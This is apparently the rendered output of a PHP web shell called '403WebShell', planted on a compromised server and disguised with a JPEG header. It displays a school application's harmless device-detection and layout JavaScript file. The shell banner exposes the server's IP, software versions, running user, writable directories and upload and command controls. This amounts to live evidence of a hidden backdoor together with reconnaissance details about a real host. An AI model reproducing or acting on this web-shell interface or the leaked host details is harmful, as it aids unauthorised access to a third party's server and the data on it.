????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.133.59.209
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old10/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old10/js/topmostInfo.js
/**
 * Created by macmini3 on 2/19/14.
 */

//var s_title_page = 'SHRADDHA CENTER FOR SPECIAL EDUCATION';
var s_title_page = 'Shraddha Centre for Spl. Education';
var s_title_application = 'Shraddha School';
var s_colorGreen = 'green';
var s_colorLightGreen = '#4DA64D';
var s_colorRed = 'red';
var s_colorLightRed = '#FFB2B2';
var s_colorWhite = 'white';
var s_colorBlack = 'black';
var s_colorTransparent = 'transparent';
var s_colorOlive = '#808000';
var s_currentDeviceType = '';
var s_currentDeviceOS = '';
var s_currentDeviceIsOpenedInWebBrowser = false;
var s_deviceOS_iOS = 'iOS';
var s_deviceOS_Android = 'Android';
var s_deviceOS_Windows = 'Windows';
var s_deviceOS_Mac = 'Mac';
var s_DeviceOS_BlackBerry = 'BlackBerry';
var s_DeviceOS_OtherOS = 'OtherOS';
var s_deviceTypeiOSiPad = 'iPad';
var s_DeviceTypeiOSiPhoneAllSizes = 'iPhone';
var s_DeviceTypeAndroidDeviceApp = 'AndroidDeviceApp';
var s_DeviceTypeAndroidDeviceChrome = 'AndroidDeviceChrome';
var s_DeviceTypeWindowsPhone = 'WindowsPhone';
var s_DeviceTypeWindowsChrome = 'WindowsChrome';
var s_DeviceTypeMacChrome = 'MacChrome';
var s_DeviceTypeBlackBerry = 'BlackBerry';
//var s_DeviceTypeWebOS = 'WebOS';
var s_DeviceTypeMacSafari = 'MacSafari';
var s_DeviceTypeWindowsInternetExplorer = 'WindowsInternetExplorer';
var s_DeviceTypeOtherDevice = 'OtherDevice';
var s_path_projectFiles = '';
var s_currentLevel = '';
var s_currentCategory = '';
var s_currentCategoryLastLesson = '';
var s_currentDropingId = '';
var s_dataTableWidth = 0;
var s_dataTableHeight = 0;
var s_allGroupsIdsArrayInArray;
var s_versionForAll = 1.0;
var s_isSelectedWrong = false;

var s_isDebug = false;

var s_moving_left = 0;
var s_moving_top = 0;

var s_timeForDoubleClick = 0;
var s_elementIdForDoubleClick = '';

/*$(document).on("swiperight", "#id_tblMainiPadBody", function()//order 3
{
    btnPrevious_click();
});
$(document).on("swipeleft", "#id_tblMainiPadBody", function()
{
    btnNext_click();
});*/

function s_setDeviceTypeLevelCategoryLastLesson(level, category)
{   
    s_setDeviceType();//It is good to run in always
    
    var totalLessons = s_get_totalLessons(level, category);
    
    s_set_LevelCategoryLastLesson(level, category, totalLessons);    
}

function s_get_totalLessons(level, category)
{
    if (level == Level.A)
    {
        if (category == Category.No1)
        {
            return (67);
        }
        else if (category == Category.No2)
        {
            return (15);
        }
        else if (category == Category.No3)
        {
            return (11);
        }
    }
    else if (level == Level.B)
    {
        if (category == Category.No1)
        {
            return (38);
        }
        else if (category == Category.No2)
        {
            return (19);
        }
    }
    else if (level == Level.C)
    {
        if (category == Category.No1)
        {
            return (30);
        }
        else if (category == Category.No2)
        {
            return (18);
        }
        else if (category == Category.No3)
        {
            return (22);
        }
    }
    else if (level == Level.D)
    {
        if (category == Category.No1)
        {
            return (37);
        }
        else if (category == Category.No2)
        {
            return (25);
        }
        else if (category == Category.No3)
        {
            return (29);
        }
    }
    else if (level == Level.E)
    {
        if (category == Category.No1)
        {
            return (51);
        }
        else if (category == Category.No2)
        {
            return (25);
        }
        else if (category == Category.No3)
        {
            return (34);
        }
    }
    else if (level == Level.F)
    {
        if (category == Category.No1)
        {
            return (43);
        }
        else if (category == Category.No2)
        {
            return (45);
        }
    }
    else if (level == Level.G)
    {
        if (category == Category.No1)
        {
            return (44);
        }
        else if (category == Category.No2)
        {
            return (44);
        }
    }
    else if (level == Level.H)
    {
        if (category == Category.No1)
        {
            return (50);
        }
    }
    
    return (0);
}

function s_set_LevelCategoryLastLesson(level, categoryNo, lastLessonNo)
{
    s_currentLevel = 'Level' + level.name;
    s_currentCategory = 'Cat' + categoryNo.name;
    s_currentCategoryLastLesson = 'Lesson' + lastLessonNo + '.html';
}

function s_set_tblMainiPadBodyWidthHeight(id_tblMainiPadBody, id_meta)
{
    var designWidth = 1000;//800//768
    var designHeight = 1333;//1066//1024
    var screenWidth = Math.min(screen.width, designWidth);
    var screenHeight = Math.min(screen.height, designHeight);
    s_dataTableWidth = 0;
    s_dataTableHeight = 0;
    var marginWidth = 18;
    var marginHeight = 30;
    var scale = 1.0;
    
    scale = screenWidth / designWidth;
    s_dataTableWidth = designWidth - marginWidth;
    s_dataTableHeight = (screenHeight - marginHeight) / scale;
    
    var deviceType = s_getDeviceType();
    var deviceOS = s_getDeviceOS();
    
    if (deviceType == s_DeviceTypeiOSiPhoneAllSizes)
    {
        s_dataTableHeight += 20;//adjustment
    }
    else if (deviceType == s_deviceTypeiOSiPad)
    {
        
    }
    else if (deviceType == s_DeviceTypeAndroidDeviceApp)// 600 x 1024
    {
        if ((screen.width == 480) && (screen.height == 800))// Samsung GalaxyIII mini
        {
            s_dataTableWidth = screen.width - 15;
            s_dataTableHeight = screen.height - 53;
        }
        else if ((screen.width == 600) && (screen.height == 1024))// IdeaTab 1000 Lenovo
        {
            s_dataTableHeight -= 70;
        }
        else if ((screen.width == 720) && (screen.height == 1184))// HTC Desire 620g
        {
            s_dataTableWidth = screen.width - 15;
            s_dataTableHeight = screen.height - 65;
        }
        else
        {
            s_dataTableWidth = document.documentElement.clientWidth - marginWidth;
            s_dataTableHeight = document.documentElement.clientHeight - marginHeight;
        }
    }
    else if (deviceType == s_DeviceTypeWindowsInternetExplorer)
    {
        SetDeviceTableWidthHeight(designWidth, designHeight);
    }
    else if (deviceType == s_DeviceTypeWindowsChrome)
    {
        SetDeviceTableWidthHeight(designWidth, designHeight);
    }
    else if (deviceType == s_DeviceTypeMacSafari)
    {
        SetDeviceTableWidthHeight(designWidth, designHeight);
    }
    else if (deviceType == s_DeviceTypeMacChrome)
    {
        SetDeviceTableWidthHeight(designWidth, designHeight);
    }
    else
    {
        //scale *= 0.85;
        s_dataTableWidth = screenWidth * scale;
        s_dataTableHeight = screenHeight * scale;
    }
    
    var eTable = document.getElementById(id_tblMainiPadBody);
    eTable.style.width = s_dataTableWidth + 'px';
    eTable.style.height = s_dataTableHeight + 'px';
    eTable.align = "center";//if we uncomment it, we have to handle somany pages.
    eTable.setAttribute("unselectable", "on");
    eTable.className = "s_style_unselectable";
    
    s_setPageScale(id_meta, scale);
}

function SetDeviceTableWidthHeight(designWidth, designHeight)
{
    var minAppTableWidth = 240;
    var minAppTableHeight = 300;
    var maxAppTableWidth = designWidth * 0.75;
    var maxAppTableHeight = designHeight * 0.75;
    var userAgent = navigator.userAgent;
    
    var browserSize = getBrowserSize();
    
    browserSize.width -= 15;
    browserSize.height -= 15;
    
    if ((userAgent.search('Mobile') > -1) || (userAgent.search('Tab') > -1))//Mobile //Set height based on width
    {
        browserSize.width = screen.width - 20;
        
        s_dataTableWidth = Math.max(minAppTableWidth, browserSize.width);
        
        s_dataTableWidth = Math.min(maxAppTableWidth, s_dataTableWidth);
        
        s_dataTableHeight = s_dataTableWidth * (designHeight / designWidth);
    }
    else//Laptop or desktop //Set width based on height
    {
        s_dataTableHeight = Math.max(minAppTableHeight, browserSize.height);
        s_dataTableHeight = Math.min(maxAppTableHeight, s_dataTableHeight);
        
        s_dataTableWidth = s_dataTableHeight * (designWidth / designHeight);
    }
}

function getBrowserSize()
{
    var browserSize = new BrowserSize();
    
    if (typeof (window.innerWidth) == 'number')
    {
        //Non-IE
        browserSize.width = window.innerWidth;
        browserSize.height = window.innerHeight;
    }
    else if (document.documentElement && (document.documentElement.clientWidth ||   document.documentElement.clientHeight))
    {
        //IE 6+ in 'standards compliant mode'
        browserSize.width = document.documentElement.clientWidth;
        browserSize.height = document.documentElement.clientHeight;
    }
    else if (document.body && (document.body.clientWidth || document.body.clientHeight))
    {
        browserSize.width = document.body.clientWidth;
        browserSize.height = document.body.clientHeight;
    }
    
    return (browserSize);
}

function s_setPageScale(id_meta, scale)
{
    var eMeta = document.getElementById(id_meta);
    var deviceType = s_getDeviceType();
    
    if (deviceType == s_DeviceTypeAndroidDeviceApp)
    {
        eMeta.innerHTML =  '<meta name="viewport" content="user-scalable=no, initial-scale=' + scale + ', maximum-scale=1, minimum-scale=0.1, width=device-width, height=device-height, target-densitydpi=device-dpi" />';
    }
    else
    {
        eMeta.innerHTML =  '<meta name="viewport" content="user-scalable=no, initial-scale=' + scale + ', maximum-scale=1, minimum-scale=0.1, width=device-width, height=device-height" />';
    }
}

function s_setDeviceType()
{
    var deviceType = '';
    var deviceOS = '';
    var userAgentInfo = navigator.userAgent;
    
    if (userAgentInfo.match(/iPhone/i))
    {
        //alert("iPhone/i");
        
        deviceType = s_DeviceTypeiOSiPhoneAllSizes;
        deviceOS = s_deviceOS_iOS;
        s_currentDeviceIsOpenedInWebBrowser = (userAgentInfo.search('Safari') > -1);
    }
    else if (userAgentInfo.match(/iPad/i))
    {
        //alert("iPad/i");
        
        deviceType = s_deviceTypeiOSiPad;
        deviceOS = s_deviceOS_iOS;
        s_currentDeviceIsOpenedInWebBrowser = (userAgentInfo.search('Safari') > -1);
    }
    else if (userAgentInfo.match(/Android/i))
    {
        //alert("Android/i");
        
        deviceType = s_DeviceTypeAndroidDeviceApp;
        deviceOS = s_deviceOS_Android;
        s_currentDeviceIsOpenedInWebBrowser = (userAgentInfo.search('Safari') > -1) || (userAgentInfo.search('Chrome') > -1);
    }
    else if (userAgentInfo.match(/Windows/i))
    {
        if (userAgentInfo.match(/IEMobile/i))
        {
            deviceType = s_DeviceTypeWindowsPhone;
        }
        else
        {
            deviceType = (userAgentInfo.match(/MSIE/i) ? s_DeviceTypeWindowsInternetExplorer : s_DeviceTypeWindowsChrome);
        }
        
        deviceOS = s_deviceOS_Windows;
        s_currentDeviceIsOpenedInWebBrowser = (deviceType != s_DeviceTypeWindowsPhone);
    }
    else if (userAgentInfo.match(/BlackBerry/i))
    {
        //alert("BlackBerry/i");
        
        deviceType = s_DeviceTypeBlackBerry;
        deviceOS = s_DeviceOS_BlackBerry;
        s_currentDeviceIsOpenedInWebBrowser = (userAgentInfo.search('BlackBerry') > -1);
    }
    /*else if (userAgentInfo.match(/webOS/i))//Safari is not giving WebOS.
     {
     //alert("webOS/i");
     
     deviceType = s_DeviceTypeWebOS;
     deviceOS = s_DeviceOS_WebOS;
     s_currentDeviceIsOpenedInWebBrowser = true;
     }*/
    else if ((userAgentInfo.match(/Macintosh/i)) || (userAgentInfo.match(/Safari/i)))
    {
        //alert("Macintosh/i or Safari/i");
        
        deviceType = s_DeviceTypeMacSafari;
        deviceOS = s_deviceOS_Mac;
        s_currentDeviceIsOpenedInWebBrowser = true;
    }
    else if (userAgentInfo.match(/MSIE/i))//Fix the match name
    {
        //alert("MSIE/i");
        
        deviceType = s_DeviceTypeWindowsInternetExplorer;
        deviceOS = s_deviceOS_Windows;
        s_currentDeviceIsOpenedInWebBrowser = true;
    }
    else
    {
        deviceType = s_DeviceTypeOtherDevice;
        deviceOS = s_DeviceOS_OtherOS;
        s_currentDeviceIsOpenedInWebBrowser = false;
    }
    
    s_currentDeviceType = deviceType;
    s_currentDeviceOS = deviceOS;    
}

function s_getDeviceType()
{
    return (s_currentDeviceType);
}

function s_getDeviceOS()
{
    return (s_currentDeviceOS);
}

Youez - 2016 - github.com/yon3zu
LinuXploit